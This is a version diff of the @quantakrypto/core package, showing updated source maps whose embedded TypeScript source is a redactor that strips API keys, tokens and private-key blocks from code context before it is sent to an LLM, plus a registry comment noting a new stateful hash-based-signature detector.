@quantakrypto/core 0.4.1 → 0.4.3

package/dist/redact.js.map

@@ -1 +1 @@
-{"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"redact.js","sourceRoot":"","sources":["../src/redact.ts"],"names":[],"mappings":"AAWA,qEAAqE;AACrE,MAAM,cAAc,GAAG,CAAC,CAAC;AAEzB,yDAAyD;AACzD,MAAM,QAAQ,GAAG,mBAAmB,CAAC;AAErC;;;;GAIG;AACH,MAAM,eAAe,GAAG,SAAS,CAAC;AAElC;;;;;;;GAOG;AACH,MAAM,cAAc,GAAsB;IACxC,gCAAgC,EAAE,oBAAoB;IACtD,oCAAoC,EAAE,eAAe;IACrD,sCAAsC,EAAE,0BAA0B;IAClE,sCAAsC,EAAE,QAAQ;IAChD,yCAAyC,EAAE,SAAS;IACpD,qCAAqC,EAAE,SAAS;IAChD,4BAA4B,EAAE,iBAAiB;IAC/C,kCAAkC,EAAE,aAAa;IACjD,6EAA6E,EAAE,MAAM;IACrF,4DAA4D;IAC5D,yIAAyI;IACzI,2BAA2B,EAAE,2BAA2B;IACxD,+BAA+B,EAAE,8BAA8B;CAChE,CAAC;AAEF,0DAA0D;AAC1D,SAAS,cAAc,CAAC,CAAS;IAC/B,MAAM,IAAI,GAAG,IAAI,GAAG,EAAkB,CAAC;IACvC,KAAK,MAAM,EAAE,IAAI,CAAC;QAAE,IAAI,CAAC,GAAG,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;IAC1D,IAAI,CAAC,GAAG,CAAC,CAAC;IACV,KAAK,MAAM,CAAC,IAAI,IAAI,CAAC,MAAM,EAAE,EAAE,CAAC;QAC9B,MAAM,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC,MAAM,CAAC;QACvB,CAAC,IAAI,CAAC,GAAG,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACxB,CAAC;IACD,OAAO,CAAC,CAAC;AACX,CAAC;AAED;;;;;;GAMG;AACH,MAAM,gBAAgB,GAAG,6BAA6B,CAAC;AACvD,SAAS,iBAAiB,CAAC,IAAY;IACrC,IAAI,QAAQ,GAAG,KAAK,CAAC;IACrB,MAAM,GAAG,GAAG,IAAI,CAAC,OAAO,CAAC,gBAAgB,EAAE,CAAC,CAAC,EAAE,EAAE;QAC/C,MAAM,OAAO,GACX,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;QACpF,MAAM,UAAU,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACrC,2EAA2E;QAC3E,gFAAgF;QAChF,IAAI,CAAC,OAAO,IAAI,CAAC,IAAI,CAAC,OAAO,IAAI,CAAC,IAAI,UAAU,CAAC,CAAC,IAAI,cAAc,CAAC,CAAC,CAAC,IAAI,GAAG,EAAE,CAAC;YAC/E,QAAQ,GAAG,IAAI,CAAC;YAChB,OAAO,QAAQ,CAAC;QAClB,CAAC;QACD,OAAO,CAAC,CAAC;IACX,CAAC,CAAC,CAAC;IACH,OAAO,EAAE,IAAI,EAAE,GAAG,EAAE,QAAQ,EAAE,CAAC;AACjC,CAAC;AAED;sEACsE;AACtE,SAAS,sBAAsB,CAAC,IAAY;IAC1C,MAAM,KAAK,GACT,qFAAqF,CAAC;IACxF,MAAM,GAAG,GAAG,WAAW,CAAC;IACxB,IAAI,QAAQ,GAAG,KAAK,CAAC;IACrB,IAAI,KAAK,GAAG,KAAK,CAAC;IAClB,MAAM,GAAG,GAAa,EAAE,CAAC;IACzB,KAAK,MAAM,IAAI,IAAI,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,CAAC;QACpC,IAAI,CAAC,KAAK,IAAI,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;YAC/B,KAAK,GAAG,IAAI,CAAC;YACb,QAAQ,GAAG,IAAI,CAAC;YAChB,GAAG,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;YACnB,SAAS;QACX,CAAC;QACD,IAAI,KAAK,EAAE,CAAC;YACV,IAAI,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC;gBAAE,KAAK,GAAG,KAAK,CAAC;YAClC,SAAS,CAAC,4BAA4B;QACxC,CAAC;QACD,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACjB,CAAC;IACD,OAAO,EAAE,IAAI,EAAE,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,QAAQ,EAAE,CAAC;AAC5C,CAAC;AAED,+EAA+E;AAC/E,iFAAiF;AACjF,IAAI,SAA6B,CAAC;AAClC,IAAI,UAA2D,CAAC;AAEhE;gFACgF;AAChF,SAAS,YAAY,CAAC,IAAY;IAChC,IAAI,SAAS,KAAK,IAAI,IAAI,UAAU;QAAE,OAAO,UAAU,CAAC;IACxD,IAAI,MAA2C,CAAC;IAChD,IAAI,IAAI,CAAC,MAAM,GAAG,eAAe,EAAE,CAAC;QAClC,MAAM,GAAG,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,IAAI,EAAE,CAAC;IAC9C,CAAC;SAAM,CAAC;QACN,IAAI,CAAC;YACH,MAAM,GAAG,GAAG,sBAAsB,CAAC,IAAI,CAAC,CAAC;YACzC,IAAI,GAAG,GAAG,GAAG,CAAC,IAAI,CAAC;YACnB,IAAI,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;YAC5B,KAAK,MAAM,EAAE,IAAI,cAAc,EAAE,CAAC;gBAChC,GAAG,GAAG,GAAG,CAAC,OAAO,CAAC,EAAE,EAAE,GAAG,EAAE;oBACzB,QAAQ,GAAG,IAAI,CAAC;oBAChB,OAAO,QAAQ,CAAC;gBAClB,CAAC,CAAC,CAAC;YACL,CAAC;YACD,gFAAgF;YAChF,MAAM,GAAG,GAAG,iBAAiB,CAAC,GAAG,CAAC,CAAC;YACnC,GAAG,GAAG,GAAG,CAAC,IAAI,CAAC;YACf,QAAQ,GAAG,QAAQ,IAAI,GAAG,CAAC,QAAQ,CAAC;YACpC,MAAM,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,QAAQ,EAAE,CAAC;QACnC,CAAC;QAAC,MAAM,CAAC;YACP,MAAM,GAAG,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,IAAI,EAAE,CAAC;QAC9C,CAAC;IACH,CAAC;IACD,SAAS,GAAG,IAAI,CAAC;IACjB,UAAU,GAAG,MAAM,CAAC;IACpB,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,2EAA2E;AAC3E,SAAS,cAAc,CAAC,KAAe,EAAE,GAAW;IAClD,IAAI,KAAK,GAAG,GAAG,CAAC;IAChB,OAAO,KAAK,GAAG,CAAC,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC,KAAK,CAAC,KAAK,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC;QAAE,KAAK,EAAE,CAAC;IACtE,IAAI,GAAG,GAAG,GAAG,CAAC;IACd,IAAI,KAAK,GAAG,CAAC,CAAC;IACd,KAAK,IAAI,CAAC,GAAG,KAAK,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QAC1C,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;QAC5B,KAAK,IAAI,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,GAAG,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;QAC3E,GAAG,GAAG,CAAC,CAAC;QACR,IAAI,CAAC,GAAG,GAAG,IAAI,KAAK,IAAI,CAAC;YAAE,MAAM;IACnC,CAAC;IACD,OAAO,KAAK,CAAC,KAAK,CAAC,KAAK,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AAChD,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,YAAY,CAC1B,OAAgB,EAChB,KAAmB,EACnB,WAAmB;IAEnB,MAAM,IAAI,GAAG;QACX,MAAM,EAAE,OAAO,CAAC,MAAM;QACtB,SAAS,EAAE,OAAO,CAAC,SAAS;QAC5B,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,IAAI,EAAE,OAAO,CAAC,IAAI;QAClB,IAAI,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI;QAC3B,IAAI,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI;QAC3B,OAAO,EAAE,OAAO,CAAC,OAAO;KACzB,CAAC;IACF,oDAAoD;IACpD,IAAI,OAAO,CAAC,SAAS;QAAE,OAAO,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,cAAc,EAAE,IAAI,EAAE,CAAC;IAChF,IAAI,KAAK,KAAK,UAAU;QAAE,OAAO,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,cAAc,EAAE,KAAK,EAAE,CAAC;IAEpF,MAAM,KAAK,GAAG,WAAW,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IACtC,IAAI,IAAY,CAAC;IACjB,IAAI,KAAK,KAAK,MAAM,EAAE,CAAC;QACrB,IAAI,GAAG,WAAW,CAAC;IACrB,CAAC;SAAM,IAAI,KAAK,KAAK,UAAU,EAAE,CAAC;QAChC,IAAI,GAAG,cAAc,CAAC,KAAK,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI,GAAG,CAAC,CAAC,CAAC;IAC1D,CAAC;SAAM,CAAC;QACN,MAAM,CAAC,GAAG,OAAO,CAAC,QAAQ,CAAC,IAAI,GAAG,CAAC,CAAC;QACpC,IAAI,GAAG,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,GAAG,cAAc,CAAC,EAAE,CAAC,GAAG,cAAc,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACzF,CAAC;IACD,MAAM,EAAE,IAAI,EAAE,QAAQ,EAAE,GAAG,YAAY,CAAC,IAAI,CAAC,CAAC;IAC9C,OAAO,EAAE,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,cAAc,EAAE,QAAQ,EAAE,CAAC;AAC/D,CAAC;AAED,wEAAwE;AACxE,MAAM,UAAU,eAAe,CAAC,QAA2B;IACzD,OAAO,QAAQ;SACZ,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE;QACT,MAAM,KAAK,GAAG,SAAS,CAAC,CAAC,KAAK,GAAG,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,mBAAmB,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC;QAC/E,MAAM,IAAI,GAAG,IAAI,CAAC,CAAC,IAAI,CAAC,QAAQ,KAAK,CAAC,CAAC,IAAI,CAAC,MAAM,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,KAAK,KAAK,GAAG,CAAC;QAC9F,OAAO,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,GAAG,IAAI,KAAK,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC;IAC9C,CAAC,CAAC;SACD,IAAI,CAAC,aAAa,CAAC,CAAC;AACzB,CAAC","sourcesContent":["/**\n * Context redactor: turn a finding + its file into the payload the LLM sees,\n * bounded to a chosen {@link ContextLevel} and with secrets ALWAYS stripped.\n *\n * This is a hard privacy boundary and lives in `@quantakrypto/core` (offline) so\n * the deterministic MCP plane redacts identically to the networked CLI. A\n * `sensitive` finding (the match IS key material) never emits code at any level.\n */\nimport type { Finding } from \"./types.js\";\nimport type { ContextLevel, RedactedContext } from \"./agent-types.js\";\n\n/** Lines of context on each side of the match at `snippet` level. */\nconst SNIPPET_RADIUS = 8;\n\n/** The placeholder that replaces any redacted secret. */\nconst REDACTED = \"«redacted-secret»\";\n\n/**\n * Text longer than this is not scanned pattern-by-pattern — we fail CLOSED\n * (redact the whole thing). Bounds worst-case work and sidesteps any engine\n * limit on pathological single-token runs.\n */\nconst MAX_SECRET_SCAN = 2_000_000;\n\n/**\n * High-signal secret shapes. EVERY quantifier has an explicit upper bound so\n * matching stays linear — no catastrophic backtracking and no regex-engine\n * stack overflow on multi-megabyte runs (both were real DoS vectors with the\n * old unbounded `{120,}` / `[\\s\\S]*?` patterns). Private-key BLOCKS are handled\n * separately, line-by-line, so a truncated key (missing `-----END-----`) is\n * still caught.\n */\nconst TOKEN_PATTERNS: readonly RegExp[] = [\n  /\\b(?:AKIA|ASIA)[A-Z0-9]{16}\\b/g, // AWS access key id\n  /\\bgh[posru]_[A-Za-z0-9]{20,255}\\b/g, // GitHub token\n  /\\bgithub_pat_[A-Za-z0-9_]{20,255}\\b/g, // GitHub fine-grained PAT\n  /\\bxox[baprs]-[A-Za-z0-9-]{10,255}\\b/g, // Slack\n  /\\bsk-(?:proj-)?[A-Za-z0-9_-]{20,255}\\b/g, // OpenAI\n  /\\b[rs]k_live_[A-Za-z0-9]{20,255}\\b/g, // Stripe\n  /\\bAIza[A-Za-z0-9_-]{35}\\b/g, // Google API key\n  /\\bglpat-[A-Za-z0-9_-]{20,255}\\b/g, // GitLab PAT\n  /\\beyJ[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{8,4096}\\.[A-Za-z0-9_-]{6,4096}\\b/g, // JWT\n  // Assignment of a secret-looking key (.env / config lines).\n  /(?:secret|token|passwd|password|api[_-]?key|access[_-]?key|client[_-]?secret|private[_-]?key)[\"'`]?\\s*[:=]\\s*[\"'`]?[^\\s\"'`,;]{6,4096}/gi,\n  /\\b[0-9a-fA-F]{40,4096}\\b/g, // long hex run (≥20 bytes)\n  /[A-Za-z0-9+/]{44,4096}={0,2}/g, // long base64 run (≥32 bytes)\n];\n\n/** Shannon entropy of a string, in bits per character. */\nfunction shannonEntropy(s: string): number {\n  const freq = new Map<string, number>();\n  for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);\n  let e = 0;\n  for (const n of freq.values()) {\n    const p = n / s.length;\n    e -= p * Math.log2(p);\n  }\n  return e;\n}\n\n/**\n * Catch-all for high-entropy secret tokens the named {@link TOKEN_PATTERNS}\n * above miss (custom / novel key formats not tied to a known vendor prefix).\n * Best-effort and biased toward over-redaction (safe): only a *long*,\n * *high-entropy*, *charset-diverse* run is replaced, so ordinary code\n * identifiers, words, and prose are left intact for the LLM to work with.\n */\nconst HIGH_ENTROPY_RUN = /[A-Za-z0-9_\\-+/=.]{24,256}/g;\nfunction redactHighEntropy(text: string): { text: string; redacted: boolean } {\n  let redacted = false;\n  const out = text.replace(HIGH_ENTROPY_RUN, (m) => {\n    const classes =\n      (/[A-Z]/.test(m) ? 1 : 0) + (/[a-z]/.test(m) ? 1 : 0) + (/[0-9]/.test(m) ? 1 : 0);\n    const hasSpecial = /[+/=_-]/.test(m);\n    // Random secrets are charset-diverse AND high-entropy; identifiers usually\n    // fail one of these (an identifier has repetition / structure → lower entropy).\n    if ((classes >= 3 || (classes >= 2 && hasSpecial)) && shannonEntropy(m) >= 4.0) {\n      redacted = true;\n      return REDACTED;\n    }\n    return m;\n  });\n  return { text: out, redacted };\n}\n\n/** Redact PEM/OpenSSH/PGP private-key blocks line-by-line (linear; tolerant of\n * a missing END marker — a truncated key is still fully redacted). */\nfunction redactPrivateKeyBlocks(text: string): { text: string; redacted: boolean } {\n  const begin =\n    /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY|PGP PRIVATE KEY BLOCK)-----/;\n  const end = /-----END /;\n  let redacted = false;\n  let inKey = false;\n  const out: string[] = [];\n  for (const line of text.split(\"\\n\")) {\n    if (!inKey && begin.test(line)) {\n      inKey = true;\n      redacted = true;\n      out.push(REDACTED);\n      continue;\n    }\n    if (inKey) {\n      if (end.test(line)) inKey = false;\n      continue; // drop key-body / END lines\n    }\n    out.push(line);\n  }\n  return { text: out.join(\"\\n\"), redacted };\n}\n\n// Single-entry memo: same-file findings re-request the identical file content;\n// this makes the whole-file redaction O(n) across all of them instead of O(n·k).\nlet memoInput: string | undefined;\nlet memoResult: { text: string; redacted: boolean } | undefined;\n\n/** Replace every secret-looking token/block in `text` with {@link REDACTED}.\n * Fails CLOSED: on oversized input or any error, the whole text is redacted. */\nfunction stripSecrets(text: string): { text: string; redacted: boolean } {\n  if (memoInput === text && memoResult) return memoResult;\n  let result: { text: string; redacted: boolean };\n  if (text.length > MAX_SECRET_SCAN) {\n    result = { text: REDACTED, redacted: true };\n  } else {\n    try {\n      const pem = redactPrivateKeyBlocks(text);\n      let out = pem.text;\n      let redacted = pem.redacted;\n      for (const re of TOKEN_PATTERNS) {\n        out = out.replace(re, () => {\n          redacted = true;\n          return REDACTED;\n        });\n      }\n      // Best-effort entropy catch-all for novel token shapes the named patterns miss.\n      const ent = redactHighEntropy(out);\n      out = ent.text;\n      redacted = redacted || ent.redacted;\n      result = { text: out, redacted };\n    } catch {\n      result = { text: REDACTED, redacted: true };\n    }\n  }\n  memoInput = text;\n  memoResult = result;\n  return result;\n}\n\n/** Best-effort enclosing brace/colon block around a 0-based line index. */\nfunction enclosingBlock(lines: string[], idx: number): string {\n  let start = idx;\n  while (start > 0 && !/[{:]\\s*$/.test(lines[start - 1] ?? \"\")) start--;\n  let end = idx;\n  let depth = 0;\n  for (let i = start; i < lines.length; i++) {\n    const line = lines[i] ?? \"\";\n    depth += (line.match(/{/g) ?? []).length - (line.match(/}/g) ?? []).length;\n    end = i;\n    if (i > idx && depth <= 0) break;\n  }\n  return lines.slice(start, end + 1).join(\"\\n\");\n}\n\n/**\n * Build the redacted context for `finding` at `level`. `fileContent` is the full\n * text of the file the finding lives in (unused at `metadata` level). Secrets\n * are always removed; a `sensitive` finding yields `code: null`.\n */\nexport function buildContext(\n  finding: Finding,\n  level: ContextLevel,\n  fileContent: string,\n): RedactedContext {\n  const meta = {\n    ruleId: finding.ruleId,\n    algorithm: finding.algorithm,\n    severity: finding.severity,\n    hndl: finding.hndl,\n    file: finding.location.file,\n    line: finding.location.line,\n    message: finding.message,\n  };\n  // Sensitive findings never emit code, at any level.\n  if (finding.sensitive) return { level, meta, code: null, redactedSecret: true };\n  if (level === \"metadata\") return { level, meta, code: null, redactedSecret: false };\n\n  const lines = fileContent.split(\"\\n\");\n  let code: string;\n  if (level === \"file\") {\n    code = fileContent;\n  } else if (level === \"function\") {\n    code = enclosingBlock(lines, finding.location.line - 1);\n  } else {\n    const i = finding.location.line - 1;\n    code = lines.slice(Math.max(0, i - SNIPPET_RADIUS), i + SNIPPET_RADIUS + 1).join(\"\\n\");\n  }\n  const { text, redacted } = stripSecrets(code);\n  return { level, meta, code: text, redactedSecret: redacted };\n}\n\n/** Render the exact payload text a `--dry-run` preflight would send. */\nexport function renderPreflight(contexts: RedactedContext[]): string {\n  return contexts\n    .map((c) => {\n      const flags = `level=${c.level}${c.redactedSecret ? \", secret-redacted\" : \"\"}`;\n      const head = `[${c.meta.severity}] ${c.meta.ruleId} ${c.meta.file}:${c.meta.line} (${flags})`;\n      return c.code ? `${head}\\n${c.code}` : head;\n    })\n    .join(\"\\n\\n---\\n\\n\");\n}\n"]}

package/dist/registry.d.ts

@@ -51,8 +51,8 @@ export declare class DetectorRegistry {
 /**
  * The built-in detectors, in run order: the JS/TS source + config detectors,
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
- * handled separately by `scan()`.
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
+ * manifest (dependency) scanner is handled separately by `scan()`.
  *
  * This is the single source of truth for the default detector set: both
  * {@link defaultRegistry} and the public `detectors` export (re-exported from

package/dist/registry.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AAWpE,6EAA6E;AAC7E,wBAAgB,aAAa,CAAC,CAAC,EAAE,QAAQ,GAAG,aAAa,CAExD;AAED,+FAA+F;AAC/F,MAAM,WAAW,gBAAgB;IAC/B,IAAI,EAAE,QAAQ,CAAC;IACf,QAAQ,EAAE,QAAQ,CAAC;CACpB;AAED;;;GAGG;AACH,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,QAAQ,CAAC,IAAI,CAA+B;IACpD,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAgB;IAEtC,4EAA4E;gBAChE,OAAO,GAAE,SAAS,QAAQ,EAAO;IAI7C,kFAAkF;IAClF,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,IAAI;IAS3B,wDAAwD;IACxD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,QAAQ,GAAG,SAAS;IAIrC,qDAAqD;IACrD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO;IAIxB,uDAAuD;IACvD,GAAG,IAAI,QAAQ,EAAE;IAIjB;;;;;;OAMG;IACH,WAAW,IAAI,QAAQ,EAAE;IAezB,gFAAgF;IAChF,OAAO,CAAC,MAAM,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS;IASrD,uEAAuE;IACvE,KAAK,IAAI,gBAAgB;CAG1B;AAED;;;;;;;;;GASG;AACH,eAAO,MAAM,gBAAgB,EAAE,QAAQ,EAUtC,CAAC;AAEF;;;GAGG;AACH,eAAO,MAAM,eAAe,kBAAyC,CAAC"}
+{"version":3,"file":"registry.d.ts","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,QAAQ,EAAE,aAAa,EAAE,QAAQ,EAAE,MAAM,YAAY,CAAC;AAYpE,6EAA6E;AAC7E,wBAAgB,aAAa,CAAC,CAAC,EAAE,QAAQ,GAAG,aAAa,CAExD;AAED,+FAA+F;AAC/F,MAAM,WAAW,gBAAgB;IAC/B,IAAI,EAAE,QAAQ,CAAC;IACf,QAAQ,EAAE,QAAQ,CAAC;CACpB;AAED;;;GAGG;AACH,qBAAa,gBAAgB;IAC3B,OAAO,CAAC,QAAQ,CAAC,IAAI,CAA+B;IACpD,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAgB;IAEtC,4EAA4E;gBAChE,OAAO,GAAE,SAAS,QAAQ,EAAO;IAI7C,kFAAkF;IAClF,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,IAAI;IAS3B,wDAAwD;IACxD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,QAAQ,GAAG,SAAS;IAIrC,qDAAqD;IACrD,GAAG,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO;IAIxB,uDAAuD;IACvD,GAAG,IAAI,QAAQ,EAAE;IAIjB;;;;;;OAMG;IACH,WAAW,IAAI,QAAQ,EAAE;IAezB,gFAAgF;IAChF,OAAO,CAAC,MAAM,EAAE,MAAM,GAAG,gBAAgB,GAAG,SAAS;IASrD,uEAAuE;IACvE,KAAK,IAAI,gBAAgB;CAG1B;AAED;;;;;;;;;GASG;AACH,eAAO,MAAM,gBAAgB,EAAE,QAAQ,EAWtC,CAAC;AAEF;;;GAGG;AACH,eAAO,MAAM,eAAe,kBAAyC,CAAC"}

package/dist/registry.js

@@ -7,6 +7,7 @@ import { rustDetector } from "./detectors/rust.js";
